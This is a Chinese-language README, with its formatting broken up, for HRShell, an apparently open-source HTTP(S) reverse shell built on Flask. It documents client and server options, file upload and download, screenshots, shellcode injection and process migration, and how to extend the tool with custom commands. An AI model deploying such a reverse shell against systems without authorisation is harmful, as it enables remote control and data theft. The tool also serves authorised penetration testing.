HRShell:使用Flask构建的高级HTTP(S)反向Shell
HRShell是一个用烧瓶构建的HTTPS / HTTP反向shell。它与python 2.x / 3.x兼容,并已成功测试:
cd
命令和变体)。download/upload/screenshot
命令可用。|
)和链式命令(;
)gunicorn
和Nginx
。server.py
和client.py
容易扩展。TLS ?
服务器端: 除非--http
指定了选项,否则默认情况下server.py
是使用即时证书的HTTPS ,因为即时证书是内置的烧瓶功能。但是,如果-s tornado
指定了选项以使服务器使用TLS,则必须指定a --cert
和a --key
选项,如下所示:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
可以使用“真实”证书或生成证书/密钥对的其他方式是使用openssl,如下所示:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
证书/密钥对也可以与flask-server一起使用:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️如果服务器使用TLS,那么设计客户端不能使用
http://...
连接到服务器,但必须明确使用https
。
客户端: 默认情况下,客户端的SSL验证被禁用,除非:
--cert
指定参数,例如: python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT
变量而不是默认None
值,例如: CERT = “” “
----- BEGIN CERTIFICATE -----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
----- END CERTIFICATE -----
”“”
在这种情况下,client.py将尝试动态创建隐藏的.cert.pem文件,并将使用它。可用命令:
特殊命令:
upload : uploads a file to the client
download : downloads a file from the client
screenshot: downloads a screenshot from the client and then deletes it
migrate : attempts to inject shellcode on the process with the specific PID
inject shellcode: injects shellcode into current process
clear: clears the screen (it's the same for both unix and windows systems)
exit: closes the connection with the client
如果它不是交互式的,例如gdb,top等,则支持任何其他命令...也可以通过键入python server.py -h
或python client.py -h
获取服务器和客户端可用参数的信息。
注意:如果客户端与服务器连接并且我们想要终止服务器,则在按CTRL+ 之前C,我们必须使用该exit
命令关闭连接。
Shellcode注入
⚠️ 目前,shellcode注入只能在x86 windows系统中执行。
笔记
shellcode
在client.py上将变量设置为有效的shellcode。创建自定义命令
客户端:
为了创建自定义命令,通常:
elif
语句添加到客户端。服务器端:
如果命令要求在服务器端存在新端点,则:
@ app.route(' / custom_endpoint / ')
def custom_endpoint(arg):
“”“
如果需要文档
”“” ... 返回...
handleGET()
以将客户端重定向到该端点: @ app.route(' / ')
def handleGET():
...
return redirect(url_for(' custom_endpoint ',
arg = ...)
)
handlePOST()
以处理结果的呈现。脚本参数
两个脚本(server.py和client.py)都可以通过参数自定义:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: An HTTP(S) reverse-shell server with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify the HTTP(S) server to use (default: flask).
-c , --client Accept connections only from the specified client/IP.
--host Specify the IP to use (default: 0.0.0.0).
-p , --port Specify a port to use (default: 5000).
--http Disable TLS and use HTTP instead.
--cert Specify a certificate to use (default: None).
--key Specify the corresponding private key to use (default: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: An HTTP(S) client with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify an HTTP(S) server to connect to.
-c , --cert Specify a certificate to use.
-p , --proxy Specify a proxy to use [form: host:port]
注意:要安装服务器要求:
pip install -r requirements.txt --upgrade --user
去做
? 贡献和反馈
欢迎提供反馈和贡献。如果您发现任何错误或有功能请求,请随时打开问题,一旦我查看它,我会尝试解决它。
此工具仅用于测试和学术目的,并且只能在已经给予严格同意的情况下使用。不要将它用于非法目的!最终用户有责任遵守所有适用的地方,州和联邦法律。开发人员不承担任何责任,也不对此工具和软件造成的任何误用或损坏负责。
该项目根据GPLv3许可证授权 - 有关详细信息,请参阅LICENSE文件。